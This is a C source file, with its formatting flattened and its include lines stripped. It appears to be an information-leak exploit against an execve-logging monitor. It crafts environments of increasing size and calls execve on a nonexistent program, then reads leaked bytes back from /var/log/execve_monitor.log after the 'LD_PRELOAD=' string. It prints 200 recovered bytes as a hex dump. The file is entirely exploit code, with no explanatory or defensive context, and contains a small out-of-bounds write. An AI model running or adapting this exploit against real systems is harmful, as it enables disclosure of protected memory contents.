#include #include #include #include #include char *spl_argv[] = {"nonexistent", NULL}; #define BUFFER_SIZE 4096 #define TARGET "LD_PRELOAD=" #define TARGET_LEN 11 uint8_t search_byte() { FILE *fp = fopen("/var/log/execve_monitor.log", "rb"); if (!fp) { perror("Failed to open file"); return 1; } char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling size_t bytes_read; long offset = 0; long last_found = -1; // Initialize buffer prefix for overlap (set to 0s) memset(buffer, 0, TARGET_LEN); while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) { for (size_t i = 0; i < bytes_read; i++) { if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) { last_found = offset + i - TARGET_LEN; } } // Move last TARGET_LEN bytes to the beginning for overlap in next chunk memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN); offset += bytes_read; } long read_offset = last_found +TARGET_LEN + 1; if (fseek(fp, read_offset, SEEK_SET) != 0) { perror("fseek failed"); fclose(fp); return 1; } int c = fgetc(fp); //printf("Found byte: %02x\n", c); fclose(fp); return c; } uint8_t leak_offset(size_t offset) { char *spl_envp[3]; offset = offset - 13; char env0[offset]; for(int i = 0; i < offset; ++i) { env0[i]='A'; } env0[offset] = '\0'; spl_envp[0] = env0; spl_envp[1] = "MEOW"; spl_envp[2] = NULL; execve(spl_argv[0], NULL, spl_envp); spl_envp[0] = "LD_PRELOAD="; spl_envp[1] = NULL; execve(spl_argv[0], NULL, spl_envp); sleep(0.2); return search_byte(); } int main(int argc) { uint8_t byte; for (int i = 0; i < 200; ++i) { byte = leak_offset(8200+i); if (i % 16 == 0) { printf("\n%04x: ", i); } printf("%02x ", byte == 0x0a ? 0x00 : byte); } printf("\n"); }